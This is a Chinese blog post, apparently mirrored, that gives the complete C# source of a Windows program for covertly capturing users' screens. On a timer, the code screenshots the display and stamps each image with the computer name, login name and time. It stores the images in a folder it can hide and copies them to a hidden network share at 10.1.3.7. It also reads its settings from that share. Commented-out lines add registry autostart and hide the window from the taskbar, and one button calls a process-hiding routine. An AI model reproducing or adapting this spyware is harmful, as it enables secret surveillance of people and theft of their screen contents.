zoukankan      html  css  js  c++  java
  • 截获客户端屏幕信息小程式

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.Net;
    using System.IO;
    using System.Runtime.InteropServices;
    using Microsoft.Win32;
    using System.Net.NetworkInformation;
    using System.Collections;
    namespace bitmap
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            [StructLayout(LayoutKind.Sequential, Pack = 1)]
            internal struct TokPriv1Luid
            {
                public int Count;
                public long Luid;
                public int Attr;
            }

            [DllImport("kernel32.dll", ExactSpelling = true)]
            internal static extern IntPtr GetCurrentProcess();

            [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
            internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);

            [DllImport("advapi32.dll", SetLastError = true)]
            internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);

            [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
            internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
              ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);

            [DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
            internal static extern bool ExitWindowsEx(int flg, int rea);

            internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
            internal const int TOKEN_QUERY = 0x00000008;
            internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
            internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
            internal const int EWX_LOGOFF = 0x00000000;
            internal const int EWX_SHUTDOWN = 0x00000001;
            internal const int EWX_REBOOT = 0x00000002;
            internal const int EWX_FORCE = 0x00000004;
            internal const int EWX_POWEROFF = 0x00000008;
            internal const int EWX_FORCEIFHUNG = 0x00000010;

            public bool DoExitWin(int flg)
            {
                bool ok;
                TokPriv1Luid tp;
                IntPtr hproc = GetCurrentProcess();
                IntPtr htok = IntPtr.Zero;
                ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
                tp.Count = 1;
                tp.Luid = 0;
                tp.Attr = SE_PRIVILEGE_ENABLED;
                ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
                ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
                ok = ExitWindowsEx(flg, 0);
                return ok;
            }

            public void reboot()
            {
                DoExitWin(EWX_REBOOT);//重启
            }

            public void Shutdown()
            {
                DoExitWin(EWX_SHUTDOWN);//关机
            }

            public string huanjing()//提取系统的环境变量
            {
                IDictionary environment = Environment.GetEnvironmentVariables();
                return environment["TEMP"].ToString(); 
            }

            public string ping()//测试网络的连通性
            {
                System.Net.NetworkInformation.Ping pingSender = new System.Net.NetworkInformation.Ping();
                PingOptions options = new PingOptions();
                options.DontFragment = true;
                string data = " ";
                byte[] buffer = Encoding.UTF8.GetBytes(data);
                int timeout = 120;
                PingReply reply = pingSender.Send(@"10.1.3.7", timeout, buffer, options);
                string info = reply.Status.ToString();
                return info;
            }

            public int pd(string lj)//计算文件夹的字节数
            {
                int count = 0;
                DirectoryInfo d1 = new DirectoryInfo(lj);
                bool x1 = d1.Exists;
                if (x1 == true)
                {
                    FileInfo[] fi = d1.GetFiles();
                    foreach (FileInfo xx in fi)
                    {
                        count = Convert.ToInt32(xx.Length.ToString()) + count;
                    }
                    return count;
                }
                else
                {
                    return 0;
                }

            }

            public static void CopyDirectInfo(string sourceDir, string toDir)//文件上传函数
            {
                if (!Directory.Exists(sourceDir))
                {
                    throw new ApplicationException("文件不存在");
                  
                }
                if (!Directory.Exists(toDir))
                {
                    Directory.CreateDirectory(toDir);
                }
                else
                {
                    Directory.Delete(toDir, true);
                    Directory.CreateDirectory(toDir);
                }
                DirectoryInfo directInfo = new DirectoryInfo(sourceDir);

                FileInfo[] filesInfos = directInfo.GetFiles();
                foreach (FileInfo fileinfo in filesInfos)
                {
                    string fileName = fileinfo.Name;
                    File.Copy(fileinfo.FullName, toDir + @"\" + fileName, true);
                }

                foreach (DirectoryInfo directoryPath in directInfo.GetDirectories())
                {
                    string toDirPath = toDir + @"\" + directoryPath.Name;
                    CopyDirectInfo(directoryPath.FullName, toDirPath);
                }
            }

            public static int x = 0;

            [DllImport("kernel32")]
            private static extern long SetFileAttributes(string lpFileName, long dwFileAttributes);//用来设置文件和文件夹属性的API函数

            [DllImport("kernel32")]
            private static extern int GetPrivateProfileString(string section,
            string key, string def, StringBuilder retVal,
            int size, string filePath);//读取INI文件的API函数

            [DllImport("kernel32")]
            private static extern long WritePrivateProfileString(string section,
            string key, string val, string filePath);//写入INI文件的API函数

            [DllImportAttribute("gdi32.dll")]
            private static extern bool BitBlt(
            IntPtr hdcDest,   //目标设备的句柄 
            int nXDest,   //   目标对象的左上角的X坐标 
            int nYDest,   //   目标对象的左上角的Y坐标 
            int nWidth,   //   目标对象的矩形的宽度 
            int nHeight,   //   目标对象的矩形的长度 
            IntPtr hdcSrc,   //   源设备的句柄 
            int nXSrc,   //   源对象的左上角的X坐标 
            int nYSrc,   //   源对象的左上角的Y坐标 
            System.Int32 dwRop   //   光栅的操作值 
            );

            [DllImportAttribute("gdi32.dll")]
            private static extern IntPtr CreateDC(
            string lpszDriver,   //   驱动名称 
            string lpszDevice,   //   设备名称 
            string lpszOutput,   //   无用,可以设定位"NULL" 
            IntPtr lpInitData   //   任意的打印机数据 
            ); 

            private void button1_Click(object sender, EventArgs e)
            {
               
                IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
                //创建显示器的DC 
                Graphics g1 = Graphics.FromHdc(dc1);
                //由一个指定设备的句柄创建一个新的Graphics对象 
                Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
                //根据屏幕大小创建一个与之相同大小的Bitmap对象 
                Graphics g2 = Graphics.FromImage(MyImage);
                //获得屏幕的句柄 
                IntPtr dc3 = g1.GetHdc();
                //获得位图的句柄 
                IntPtr dc2 = g2.GetHdc();
                //把当前屏幕捕获到位图对象中 
                BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
                //把当前屏幕拷贝到位图中 
                g1.ReleaseHdc(dc3);
                //释放屏幕句柄 
                g2.ReleaseHdc(dc2);
                //释放位图句柄
                string x2=Dns.GetHostName();
                //获取电脑名
                string ln = SystemInformation.UserName.ToString();
                //获取登录名
                string x1 = DateTime.Now.Minute+DateTime.Now.Second+".jpeg";
                string path = huanjing().ToString() + @"\" + "picture" + @"\";
                //string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
             
                Directory.CreateDirectory(path);
                Directory.CreateDirectory(path + ln);

                long reg = Convert.ToInt32(IniReadValue("xixi", "Reg",ini ));//从INI文件读取Reg配置
                SetFileAttributes(path, reg);//给文件夹添加隐藏属性
                //创建文件夹
                MyImage.Save(path + ln + @"\" + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
                //System.Drawing.Imaging.ImageFormat.jpeg用来格式化转化图像,用了这个1000KB可以变成
                //100KB而且还很清晰
               

                string xx1 = "Computer:" + Dns.GetHostName() + "  " + "Login:" + SystemInformation.UserName.ToString()+" " +"Time:" + DateTime.Now.ToShortDateString().ToString() + " " + DateTime.Now.ToLongTimeString().ToString();
                //Bitmap b = (Bitmap)Bitmap.FromFile(path + x1);
                //Bitmap a = (Bitmap)b.GetThumbnailImage(480, 320, null, IntPtr.Zero);//把原始图象的分辨率修改
                //string ti = DateTime.Now.Minute.ToString() + DateTime.Now.Second.ToString();
                //string ti = "2";
                //string file = ti + ".jpeg";
                //a.Save(path + file);//保存修改后的图象
                //a.Dispose();
                //b.Dispose();//释放图象资源
                //File.Delete(path + x1);//删除原始图象
                Bitmap bb = (Bitmap)Bitmap.FromFile(path + ln + @"\" + ".jpeg");//还原就吧x1改成file
               // Graphics g = Graphics.FromImage(bb);

                Graphics g = Graphics.FromImage(bb);
                
                g.DrawString(xx1, new Font("宋体", 18), new SolidBrush(Color.Red), new PointF(0, 715));//在修改后的图象里插入信息
                //bb.Save(path + DateTime.Now.Second.ToString() + ".jpeg");//保存插入信息后的图象
                //string x1x1 = x2 + " " + DateTime.Now.ToShortDateString().ToString() +
                //                   " " + DateTime.Now.Hour.ToString().Trim() + "-" +
                //                         DateTime.Now.Minute.ToString().Trim() + "-" + DateTime.Now.Second.ToString().Trim() + ".jpeg";

              
                //bb.Save(path + DateTime.Now.Second.ToString() + ".jpeg");//保存插入信息后的图象


                string x1x1 = x2 + " " + DateTime.Now.ToLongDateString().ToString()+" "+DateTime.Now.Hour.ToString()+"-"+DateTime.Now.Minute.ToString()+"-"+DateTime.Now.Second.ToString()+".gif";

                bb.Save(path + ln + @"\"  + x1x1);

                g.Dispose();
                bb.Dispose();//释放资源
                File.Delete(path + ln + @"\" + ".jpeg");//删除原始图象
                //File.Delete(path + file);//删除插入信息前的图象
            }


            public string IniReadValue(string Section, string Key, string filepath)//对ini文件进行读操作的函数
            {
                StringBuilder temp = new StringBuilder(255);
                int i = GetPrivateProfileString(Section, Key, "", temp,  255, filepath);
                return temp.ToString();

            }

            public void IniWriteValue(string Section, string Key, string Value, string filepath)//对ini文件进行写操作的函数
            {
                WritePrivateProfileString(Section, Key, Value, filepath);
            }

            private void timer1_Tick(object sender, EventArgs e)
            //调用计时器执行按钮里面的代码
            {
                button1_Click(sender, e);
                string ln = SystemInformation.UserName.ToString();
                //string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
                string path = (@"\\10.1.3.7\picture$" + @"\" + ln);
                if (Directory.Exists(path))
                {
                    string[] file = Directory.GetFiles(path);
                    for (int i = 0; i < file.Length; i++)
                    {
                        string xx = (file[i]);
                        FileInfo fi = new FileInfo(xx);
                        //下面是文件的创建时间
                        int day = Convert.ToInt32(fi.CreationTime.Day.ToString());
                        int month = Convert.ToInt32(fi.CreationTime.Month.ToString());
                        //下面是系统当前时间的月份和天数;
                        int day1 = Convert.ToInt32(DateTime.Now.Day.ToString());
                        int month1 = Convert.ToInt32(DateTime.Now.Month.ToString());
                        int num = Convert.ToInt32(IniReadValue("xixi", "day", ini));
                        if (num < 31)
                        {
                            if (month1 - month == 0)
                            {
                                if (day1 - day > num)
                                {
                                    File.Delete(file[i]);
                                }
                            }
                            else if (month1 - month == 1)
                            {
                                if (31 - day + day1 > num)
                                {
                                    File.Delete(file[i]);
                                }
                            }
                        }
                    }
                }
            }

            static string ini = @"\\10.1.3.7\picture$\1.ini";

            private void Form1_Load(object sender, EventArgs e)
            {
                l1.Text = Dns.GetHostName().ToString();
                //MessageBox.Show(huanjing().ToString());

                //this.WindowState = FormWindowState.Minimized;//程序运行状态最小化
                //this.ShowInTaskbar = false;//程序不在任务拦显示
                //string exepath = Directory.GetCurrentDirectory() + "/bitmap.exe";//本程序的路径
                //RegistryKey hklm = Registry.CurrentUser;
                //RegistryKey run = hklm.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
                //run.SetValue("AutoLogin", exepath); //把程序加入注册表启动项
                string ln = SystemInformation.UserName.ToString();
                string lt = ping();//调用测试连通性函数返回值
                if (lt == "Success")
                {
                    //MessageBox.Show("网络连通");
                    DirectoryInfo di = new DirectoryInfo(huanjing().ToString()+@"\"+"picture" + @"\" + ln);
                    //DirectoryInfo di = new DirectoryInfo(@"c:\picture" + @"\" + ln);
                    bool ex = di.Exists;
                    if (ex == true)
                    {
                            //MessageBox.Show("本地文件存在");
                            timer1.Enabled = false;
                            button2_Click(sender, e);
                            timer1.Enabled = true;
                       
                    }
                    else
                    {
                        //MessageBox.Show("本地文件不存在估计是第一次运行本程序");
                    }
                }
                else
                {
                    //MessageBox.Show("网络不通,关机以后请检查");
                    int c = pd(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                    if (c > 1048576000)
                    {
                        Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
                    }
                    //Shutdown();
                }
                //MessageBox.Show("开始进入抓图主程序");
                //pd(@"\\10.1.3.17\tool\picture" + @"\" + ln);
                string text = "程序一运行就会在与程序相同的文件夹内创建说明文件与配置文件(1.ini)。现在主要说明配置文件的参数说明:time参数单位是秒用来控制多少秒截一张图,默认10秒。day参数单位是天控制图片保存天数默认是10天,设置的值在1-60天。Reg参数是用来控制保存图片的文件夹是否隐藏,2-隐藏,4-不隐藏,默认不隐藏。";
                string txt = Directory.GetCurrentDirectory() + "/使用说明.txt";
                if (!File.Exists(txt))
                {
                    FileStream fs = new FileStream(txt, FileMode.Append);
                    StreamWriter sw = new StreamWriter(fs);
                    sw.WriteLine(text);
                    sw.Close();
                    fs.Close();
                }
                //string ini=Directory.GetCurrentDirectory()+"/1.ini";
              
                if (!File.Exists(ini))//判断配置ini文件存在不
                {

                    FileInfo fi = new FileInfo(ini);
                    //不存在的情况就创建并向ini文件写入默认值
                    IniWriteValue("xixi", "time", "60", ini);
                    //IniWriteValue("xixi", "path", "c:/picture/", ini);
                    IniWriteValue("xixi", "day", "7", ini);
                    IniWriteValue("xixi", "Reg", "2", ini);
                }
                string path = huanjing().ToString() + @"\" + "picture" + @"\" + ln;
                //string path = IniReadValue("xixi", "path", Directory.GetCurrentDirectory() + "/1.ini");
                int time = Convert.ToInt32(IniReadValue("xixi", "time", ini));
                timer1.Interval = time * 1000;
                timer1.Start();
               

             

            }

            private void button2_Click(object sender, EventArgs e)//判断以后再上传--这个按钮当函数用
            {
                try
                {
                    string ln = SystemInformation.UserName.ToString();
                    int z = 0;
                    DirectoryInfo di = new DirectoryInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                    FileInfo[] F = di.GetFiles();
                    DirectoryInfo di2 = new DirectoryInfo(@"\\10.1.3.7\picture$" + @"\" + ln);
                    if (di2.Exists)
                    {
                        FileInfo[] F2 = di2.GetFiles();
                        for (int i = 0; i < F.Length; i++)
                        {
                            int zz = 0;
                            for (int j = 0; j < F2.Length; j++)
                            {
                                if (F[i].ToString() == F2[j].ToString())
                                {
                                    zz = zz + 1;
                                }
                            }
                            if (zz == 0)
                            {
                                File.Copy(huanjing().ToString() + @"\" + "picture" + @"\" + ln + @"/" + F[i].ToString(), @"\\10.1.3.7\picture$" + @"\" + ln + @"/" + F[i].ToString());
                                z = z + 1;

                            }
                        }
                        //MessageBox.Show(z.ToString());
                        Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
                        //MessageBox.Show("删除成功");
                    }
                    else
                    {
                        CopyDirectInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln, @"\\10.1.3.7\picture$" + @"\" + ln);
                        //CopyDirectInfo(string sourceDir, string toDir);
                    }
                    // File.Delete(@"c:/picture" + @"/" + ln);
                }
                catch
                { }
            }

            private void timer2_Tick(object sender, EventArgs e)
            {
                string ln = SystemInformation.UserName.ToString();
                string lt = ping();//调用测试连通性函数返回值
                if (lt == "Success")
                {
                    //MessageBox.Show("网络连通");
                    DirectoryInfo di = new DirectoryInfo(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                    //DirectoryInfo di = new DirectoryInfo(@"c:\picture" + @"\" + ln);
                    bool ex = di.Exists;
                    if (ex == true)
                    {
                        //MessageBox.Show("本地文件存在");
                        timer1.Enabled = false;
                        button2_Click(sender, e);
                        timer1.Enabled = true;

                    }
                    else
                    {
                        //MessageBox.Show("本地文件不存在估计是第一次运行本程序");
                    }
                }
                else
                {
                    //MessageBox.Show("网络不通,关机以后请检查");
                    int c = pd(huanjing().ToString() + @"\" + "picture" + @"\" + ln);
                    if (c > 1048576000)
                    {
                        Directory.Delete(huanjing().ToString() + @"\" + "picture" + @"\" + ln, true);
                    }
                    //Shutdown();
                }
               
            }

            private void button3_Click(object sender, EventArgs e)
            {
                System.Diagnostics.Process[] process = System.Diagnostics.Process.GetProcessesByName("bitmap");
                foreach (System.Diagnostics.Process p in process)
                {
                   // p.Kill();
                    HideProcess.HideHideCurrentProcessClass pp = new HideProcess.HideHideCurrentProcessClass();
                    pp.HideCurrentProcess();


                   
                }
            }

        }
    }

  • 相关阅读:
    [题解] LuoguP1587 [NOI2016]循环之美
    [题解] LuoguP3705 [SDOI2017]新生舞会
    [题解] LuoguP3702 [SDOI2017]序列计数
    [题解] LuoguP6476 [NOI Online 2 提高组]涂色游戏
    [题解] LuoguP4240 毒瘤之神的考验
    [题解] LuoguP6156简单题
    [题解] LuoguP6055 [RC-02] GCD
    [题解] LuoguP5050 【模板】多项式多点求值
    AtCoder Grand Contest 028题解
    Codeforces Round #421 (Div. 1) 题解
  • 原文地址:https://www.cnblogs.com/jun1111/p/1273398.html
Copyright © 2011-2022 走看看